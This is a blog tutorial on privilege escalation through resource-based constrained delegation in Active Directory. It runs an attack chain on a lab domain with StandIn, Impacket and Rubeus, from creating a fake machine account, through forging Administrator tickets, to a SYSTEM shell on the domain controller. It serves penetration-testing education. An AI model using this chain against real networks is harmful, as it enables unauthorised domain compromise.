

# Domain Escalation: Resource Based Constrained Delegation

March 12, 2022 By Raj Chandel

## Introduction

Delegation has been a part of Microsoft's Active Directory environment since the early 2000s and has remained one of few ignored threats by system analysts. Due to misconfigured delegation options, attackers can conduct attacks such as impersonation and privilege escalation. In this article, we'll talk about resource-based constrained delegation which is the root cause of a privilege escalation technique stemming from an attribute "**msDS-AllowedToActOnBehalfOfOtherIdentity**." By this technique, an attacker can create a new computer account, trigger RBCD to cause a legit Computer Account (NT AUTHORITY\SYSTEM) to authenticate and fetch a service ticket on its behalf.

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## Delegation


There are many scenarios where one user has to interact with a service while acting as another account. "Delegation" is the name given to the feature in Windows Server that lets a Domain Admin grant a non-Domain Admin entity the ability to control a portion of Active Directory. Delegation is of three types: Unconstrained, Constrained and Resource-Based Constrained.

## Service Principal Name

A unique name (identifier) of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. This allows a client application to request that the service authenticate an account even if the client does not have an account name.

## Unconstrained Delegation

The feature debut initially in Windows Server 2000 but it is still there for backwards compatibility. Basically, if a user requests a service ticket for a service on a server set with unconstrained delegation, that server will extract the user's TGT and cache it in its memory for later use. This means the server can pretend to be that user to any resource on the domain. On a computer account, an admin can set the following property for unconstrained delegation. AD Users and Computers -> Computers -> Trust this computer for delegation to any service




## Constrained Delegation

If a user or computer account has some SPNs set in their “**msDS-AllowedToDelegateTo**” property, can pretend to be any user in the domain (that they can delegate) to those specific SPNs. Thus, the delegation has been constrained to specific targets. Therefore, obviously, if an attacker controls an account and set an SPN like “ldap/dc1.ignite.local” in the **msDS-AllowedToDelegateTo** attribute then the attacker can conduct a DCSync attack.

However, Microsoft predicted this attack and added a privilege “SeEnableDelegationPrivilege.” So, any attacker trying to exploit this weakness would now be hit with a roadblock of necessary permissions required. The


following screenshot explains how a user “Harshit” is allowed to impersonate any user to authenticate to LDAP on Domain Controller DC1.

In a user account’s attribute editor, we can add the SPNs we want like so:



Along with this, we need to set another property for this to work called “TRUSTED\_TO\_AUTH\_FOR\_DELEGATION.” According to Microsoft, *‘This setting lets a service that runs under the account assume a client’s identity and authenticate as that user to other remote servers on the network.’*

This can be set by going to attribute editor and inputting the following value (translated to hex 0x1000000) in the “userAccountControl” parameter.



## Resource-Based Constrained Delegation

As an added functionality post-Windows Server 2012, Microsoft introduced a fine-tuned delegation method called “Resource-Based Constrained Delegation.” Resource-Based Constrained Delegation allows for delegation settings to be configured on the target service/resource instead of on the user account (interactive account). Resource-Based Constrained Delegation is implemented by “**msDS-AllowedToActOnBehalfOfOtherIdentity**” on a target computer object.

This field is available on Windows 8.1+ and Windows Server 2012+, and domain admin rights are not required to modify this field.

## Exploitation Methodology


The exploitation of RBCD is quite easy if you paid attention to the theory above. The following steps are observed:

- Create a fake computer account
- Trigger legit machine account DC1\$ via RBCD to authenticate

- Fake computer account acts on behalf of Domain Controller (DC1\$) account
- Generate fake machine account's hash
- Obtain Service Ticket

## Demonstration

As we have demonstrated in [this](#) article, any user in the Active Directory can create up to 10 machine/computer accounts. Default value is 10 accounts per user which can be changed in the attribute's editor for the forest under "msDS-MachineAccountQuota" property.



The same can be viewed using an executable called "StandIn.exe" which can be downloaded from [here](#).

Download it in your attack system and use the http server to upload and run

```
powershell wget 192.168.1.4/StandIn.exe -O StandIn.exe
StandIn.exe --object ms-DS-MachineAccountQuota=*
```

```

C:\Users\Public>powershell wget 192.168.1.4/StandIn.exe -O StandIn.exe
powershell wget 192.168.1.4/StandIn.exe -O StandIn.exe

C:\Users\Public>StandIn.exe --object ms-DS-MachineAccountQuota=*
StandIn.exe --object ms-DS-MachineAccountQuota=*

[?] Using DC : dc1.ignite.local
[?] Object   : DC=ignite
    Path     : LDAP://DC=ignite,DC=local

[?] Iterating object properties

[+] ridmanagerreference
    |_ CN=RID Manager$,CN=System,DC=ignite,DC=local
[+] objectcategory
    |_ CN=Domain-DNS,CN=Schema,CN=Configuration,DC=ignite,DC=local
[+] msds-nctype
    |_ 0
[+] systemflags
    |_ -1946157056
[+] minpwdage
    |_ -864000000000
[+] dscorepropagationdata
    |_ 1/1/1601 12:00:00 AM
[+] uascompat
    |_ 1
[+] usnchanged
    |_ 49165
[+] instancetype
    |_ 5
[+] creationtime
    |_ 132914736872388239
[+] pwdhistorylength
    |_ 24
[+] ms-ds-machineaccountquota
    |_ 10
[+] subrefs
    |_ DC=ForestDnsZones,DC=ignite,DC=local
    |_ DC=DomainDnsZones,DC=ignite,DC=local
    |_ CN=Configuration,DC=ignite,DC=local
[+] lockoutduration

```

Next, we need to make sure that webclient is up and running. This can be checked by the command

```
sc query webclient
```

```

C:\Users\Public>sc query webclient
sc query webclient

SERVICE_NAME: webclient
        TYPE               : 20  WIN32_SHARE_PROCESS
        STATE                : 4   RUNNING
                               (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE       : 0   (0x0)
        SERVICE_EXIT_CODE    : 0   (0x0)
        CHECKPOINT           : 0x0
        WAIT_HINT            : 0x0

C:\Users\Public>

```

Now, the next thing we have to do is add a machine account. We can either do this with StandIn exe which will create an account “noob” with a random password like so:

```
StandIn.exe --computer noob --make
```

```
C:\Users\Public>StandIn.exe --computer noob --make
StandIn.exe --computer noob --make

[?] Using DC : dc1.ignite.local
    |_ Domain   : ignite.local
    |_ DN       : CN=noob,CN=Computers,DC=ignite,DC=local
    |_ Password : 2oRQAzbQvtbUqsV

[+] Machine account added to AD..
```

Or, you can use Impacket’s addcomputer.py script to add an account “eznoob” and specify a custom password to it too. Moreover, addcomputer can also be used to change a formerly created “noob” user’s password too. The commands, respectively, are:

```
python3 addcomputer.py -method SAMR -computer-name eznoob$ -computer-pass Password@1
ignite.local/harshit:Password@1
python3 addcomputer.py -method SAMR -computer-name noob$ -computer-pass Password@1
ignite.local/harshit:Password@1 -no-add
```

Here, **harshit:Password@1** are previously compromised credentials.

```
(root@kali)-[~/impacket/examples]
# python3 addcomputer.py -method SAMR -computer-name eznoob$ -computer-pass Password@1 ignite.local/harshit:
Password@1
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] Successfully added machine account eznoob$ with password Password@1.

(root@kali)-[~/impacket/examples]
# python3 addcomputer.py -method SAMR -computer-name noob$ -computer-pass Password@1 ignite.local/harshit:Pa
ssword@1 -no-add
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] Successfully set password of noob$ to Password@1.

(root@kali)-[~/impacket/examples]
#
```

Now, a fake machine/computer account has successfully been set up. Next, we need to delegate this account to DC1\$ (domain controller’s machine account) so that noob\$ can impersonate a domain controller. For this, we will use Impacket’s rbcd script specifically made for this purpose.

-action: could be read or write. Since we are writing into the “msDS-AllowedToActOnBehalfOfOtherIdentity” parameter, we mention write.

The command is self-explanatory. In the end, you need to specify a previously compromised credential.

```
python3 rbcd.py -action write -delegate-from noob$ -delegate-to dc1$ -dc-ip 192.168.1.2
ignite.local/harshit:Password@1
```








generate a service ticket for the service CIFS. This would be done by using “s4u” protocol. It is a Kerberos extension that has the capability to request service tickets on other’s behalf.

It can be done like:

```
Rubeus.exe hash /domain:ignite.local /user:noob$ /password:Password@1
Rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator
/msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt
```

As you may note, from the rc4 hash obtained, we have generated a service ticket for CIFS while impersonating user “Administrator” (default admin user on the server)

```
C:\Users\Public>Rubeus.exe hash /domain:ignite.local /user:noob$ /password>Password@1  
www.hackingarticles.in
```




```
v2.0.2
```

```
[*] Action: Calculate Password Hash(es)
```

```
[*] Input password           : Password@1  
[*] Input username          : noob$  
[*] Input domain             : ignite.local  
[*] Salt                     : IGNITE.LOCALhostnoob.ignite.local  
[*] rc4_hmac                  : 64FBAE31CC352FC26AF97CBDEF151E03  
[*] aes128_cts_hmac_sha1     : DC4B72AB4F9B57219F3E46E0E260983B  
[*] aes256_cts_hmac_sha1     : 773A5DE4A67708244C3965C178EBE8B36411BC222090278D92319E33C9F8473F  
[*] des_cbc_md5              : C89E5B831FD0864C
```

```
C:\Users\Public>Rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msdsspn:host/dc1.ignite.local /altservice:cifs /domain:ignite.local /ptt  
Rubeus.exe s4u /user:noob$ /rc4:64FBAE31CC352FC26AF97CBDEF151E03 /impersonateuser:Administrator /msds:  
c1.ignite.local /altservice:cifs /domain:ignite.local /ptt
```



```
v2.0.2
```

```
[*] Action: S4U
```

```
[*] Using rc4_hmac hash: 64FBAE31CC352FC26AF97CBDEF151E03  
[*] Building AS-REQ (w/ preauth) for: 'ignite.local\noop$'  
[*] Using domain controller: 192.168.1.2:88  
[+] TGT request successful!
```

If it is successful, you would obtain three tickets, one of which would look like this:

```
[*] Impersonating user 'Administrator' to target SPN 'host/dc1.ignite.local'
[*] Final ticket will be for the alternate service 'cifs'
[*] Building S4U2proxy request for service: 'host/dc1.ignite.local'
[*] Using domain controller: dc1.ignite.local (192.168.1.2)
[*] Sending S4U2proxy request to domain controller 192.168.1.2:88
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/dc1.ignite.local':

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

[+] Ticket successfully imported!
```

Klist command can confirm to us that we infact do have an Administrator service ticket in the cache to perform pass the ticket attacks.

```
C:\Users\Public>klist
klist


Current LogonId is 0:0x62b99

Cached Tickets: (2)

#0> Client: Administrator @ IGNITE.LOCAL
    Server: cifs/dc1.ignite.local @ IGNITE.LOCAL
    KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
    Ticket Flags 0x40a50000 → forwardable renewable pre_authent
    Start Time: 3/11/2022 22:14:43 (local)
    End Time: 3/12/2022 8:14:43 (local)
    Renew Time: 3/18/2022 22:14:43 (local)
    Session Key Type: AES-128-CTS-HMAC-SHA1-96
    Cache Flags: 0
    Kdc Called:
```

The same can be done from a non-domain joined system using **getST.py** script in Impacket toolkit just by specifying SPN and impersonating user with the following command:

```
getST.py -spn cifs/dc1.ignite.local ignite.local/noob\$ -impersonate Administrator
Enter Password: Password@1
export KRB5CCNAME=/root/impacket/examples/Administrator.ccache
```



```
(root@kali)-[~/impacket/examples]
# getST.py -spn cifs/dc1.ignite.local ignite.local/noob\$ -impersonate Administrator
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

Password:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

(root@kali)-[~/impacket/examples]
# export KRB5CCNAME=/root/impacket/examples/Administrator.ccache

(root@kali)-[~/impacket/examples]
#
```

The screenshot shows a terminal window on a Kali machine. The user runs the `getST.py` script with the command `getST.py -spn cifs/dc1.ignite.local ignite.local/noob\$ -impersonate Administrator`. The script prompts for a password, which is entered as `Password@1`. It then displays the Impacket version and copyright information. The script proceeds to get a TGT for the user, impersonate the Administrator, request S4U2self and S4U2Proxy tickets, and save the ticket in `Administrator.ccache`. The user then runs the `export KRB5CCNAME=/root/impacket/examples/Administrator.ccache` command to set the environment variable. The terminal shows the prompt `(root@kali)-[~/impacket/examples]` and the command `#` at the end of the line.

Now, we have exported the service ticket as an environment variable and Pass the Ticket attacks could be carried on from Kali too.

Moreover, the ticket obtained from Rubeus can also be parsed into Kali too. This can be achieved by converting the base64 encoded kirbi ticket into a clear text kirbi file. Then we can convert this kirbi ticket to ccache as kali doesn't support Kirbi format(only Windows-specific and can be used with Rubeus).

KRB5CCNAME is the variable that stores service tickets for AD attacks.

```
echo "doIGCDCCBgSgAw...Fs " | base64 -d > ticket.kirbi
/root/impacket/examples/ticketConverter.py ticket.kirbi admin.ccache
export KRB5CCNAME=/root/admin.ccache
```

```

(root@kali)-[~]
# echo "doIGDCCCBgSgAwIBBaEDAgEWooIFFjCCBRJhggUOMIIFCqADAgEFoQ4bDELHTkLURSSMT0NBTKIjMCGgAwIBAgEaMBgBBGNpZnMbEGRjMS
5pZ25pdGUubG9jYWYjggTMMIIEyKADAgESoQMAQOiggS6BIIETH6n1wu6uemZHBnLFh8Q6En4EZxman4NS5lZPkIY0xic5n3VXHVRfaUC+qm3W9QRaw
wvJnpHPtVcKicI0Pu7tRudvrmHKipCDVempx6hwERlv/b30QDpVR15UnPBqEiGJHh3f78RJ03TZlo+Qv9Ynp9SKisfI2pwOdu6aYZlVi1EOwQr27GLCD
F7W6uG4U/0B5KI59XcK2I+ywsWxCpcSUQJ0XSY2FM5rKQ0xvSYkb/0Gzk+k0hxoqueajt2X0mKUGW/pDsqEdlVaYIZRJCOwY9w4Go9ON7J3I0zS2hU76
3/yyKxZgFYJBDA9SY84SulmQY37Y75MfMRNFfbNOW+DvIXOA7xiUpTwSvr7MFwe5HxRCEv4sF9hGt8xhVHZqqdYWNWuOba6bcsELAXr84FDrkzEw26
PdiveWU0US4lGm2G4yTnhJokcizWUC+5iMgTFynk5CMJj9wonmEAaa0tXQvD/L7fopW1SyG3KWYde2nb+tedYrvSsUprBVbpr+kC2nnzn38qJVE+tKS
xuRpTkFnsz8apDrJJ05NktxGgu0o4FrtzsjrLqWFMGzeiK60J7T8v3fegQvu0eQy/HGuSt/oNag7Y27LkP3puI2H5oTCxNS9yRKgepnxgIm/sbWCSShT
peDg1LbYhAR5c8mHw0ZGtpK0+QnRUL4WseRraigSBONtnYmlAwP1gpYEuC+IVIQ1fpitS9k4nCS/o1pFq45JBQS7HWUJ4MzFaL+kauKC0jE3o4KSvkw5
r024AZKCN4xXF0drvCYXgMuJzjOA16Hx1ZxOVrR24A3cP1a0RJk7URiW1SXW0Eo6bBEpdKPtDrL7LMgqitpdZV+kdhVuijAwKnhzKFI/dHPrldW4xxgH
ktZPa+gb7KC/8/vZMC47kcJrtzIB+FrTVit2qv740tFTPK/Yd3BS03SB20AbW8F4FORrdqQJnoK8wQsJGim7WnF22YD1+WdI2Mtk1/tNAVbzXIENns
lrn63gikAsejjPUqudC2+zWIuyYW9PfwBMY6Zatr17K1sgnvb8/icIv145xhpc+cg683dspFSjHhWvgTLza3MsAMQCHsabDDiBdun0o8RFD9Hk+eyD5s
0XYPsFxy3diykyYCSs0xH7rQIr/7xSjAJBCSZMagYSg3eeEMMiR7b5LYWavCsIpD0VXzY/CpJeqymysfLYi2s7UfuAf0UjQ/L2yL3WhjtGvm0TNyWhp
JD4L4WCtYAsDzxxrsNOB6o8eVd2uxgWeObcPon0eNhpwGviXe0pI00oKJHCWN8RzwLHHUHRZDaofuvYs8VC57ih4EppMCcEI65YU8EziiLMNPSE00ABO
Cx4rgLvqlWL80eKpZQo7RtnxSC1yHf2Jp8keNaKcel06qJOWK5j4tXofptVLLZxC1v0L94g5IjXFPewKserA5vy4CiiagS/3l8T0dKTeY6rZl+4d0ybz
eRA1eVcsnDWGIvZ10TMGCAC5YJb8kBXUNhZXDhty02YHctb1lipphRukH4H7iwQEYIEyXNHdx6HrAd6fLzWOW6NgnoT2gBHaKuyElSr40zYzjdZIF5Y
mLWkE6DlpN1dgX/5TABZ81sEngNKUr53pY0q0B3TCB2qADAgEAooHSBIHPFYHMMIHJoIHGMIHDMIHAoBswGaADAgERoRIEEL6anwgA+GgKQh4vj0JE84
uhDhsMSUD0SVRFLkxPQ0FMohowGKADAgEKoREwDxsNQWRtaW5pc3RyYXRvcqMHAUUAQKUAAKURGA8yMDIyMDMxMTE2MzUxOVqmERGPmJAYmJAzMTIwMj
M1MTThapxEYDzIwMjIwMzE4MTYzNTE4Wqg0GwxJR05JVEUuTE9DQUypIzAhoAMCAQKhGjAYGwRjaWZzGxBkYzEuaWduaXRlLmxvY2Fs" | base64 -d
> ticket.kirbi

```

```

(root@kali)-[~]
# /root/impacket/examples/ticketConverter.py ticket.kirbi admin.ccache
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] converting kirbi to ccache...
[+] done

```

```

(root@kali)-[~]
# export KRB5CCNAME=/root/admin.ccache

```

Now that the ticket has been stored, we can conduct privilege escalation attacks by using this ticket to authenticate as a Domain Controller. Psexec can do this by using the “-k” and “-no-pass” which makes Kerberos authentication request while utilizing the service ticket.

```
psexec.py -k -no-pass ignite.local/administrator@dc1.ignite.local -dc-ip 192.168.1.2 -target-ip 192.168.1.2
```

```
(root@kali)~[~]
# psexec.py -k -no-pass ignite.local/administrator@dc1.ignite.local -dc-ip 192.168.1.2
Impacket v0.9.25.dev1+20220218.140931.6042675a - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on dc1.ignite.local.....
[*] Found writable share ADMIN$
[*] Uploading file xIlxwzDd.exe
[*] Opening SVCManager on dc1.ignite.local.....
[*] Creating service WAvi on dc1.ignite.local.....
[*] Starting service WAvi.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

    Connection-specific DNS Suffix  . : 
    Link-local IPv6 Address . . . . . : fe80::1019:f2c:646b:8b5e%9
    IPv4 Address. . . . . : 192.168.1.2
    Subnet Mask . . . . . : 255.255.255.0
    Default Gateway . . . . . : 

Tunnel adapter isatap.{C1554193-E322-4252-A407-496C0F07FFE7}:

    Media State . . . . . : Media disconnected
    Connection-specific DNS Suffix  . : 

C:\Windows\system32> 
```

And as you can see, we have successfully compromised the DC system!

## Conclusion

Active Directory misconfigurations are pretty common in organizations and delegation misconfigurations are among the most common ones. The attack we demonstrated allows an attacker to take charge of the entire Active Directory by creating a new machine account, delegating it to dc1\$ and eventually escalating privileges. Since the complexity to exploit is moderate, analysts must pay attention to such misconfigurations. Hope you liked the article. Thanks for reading.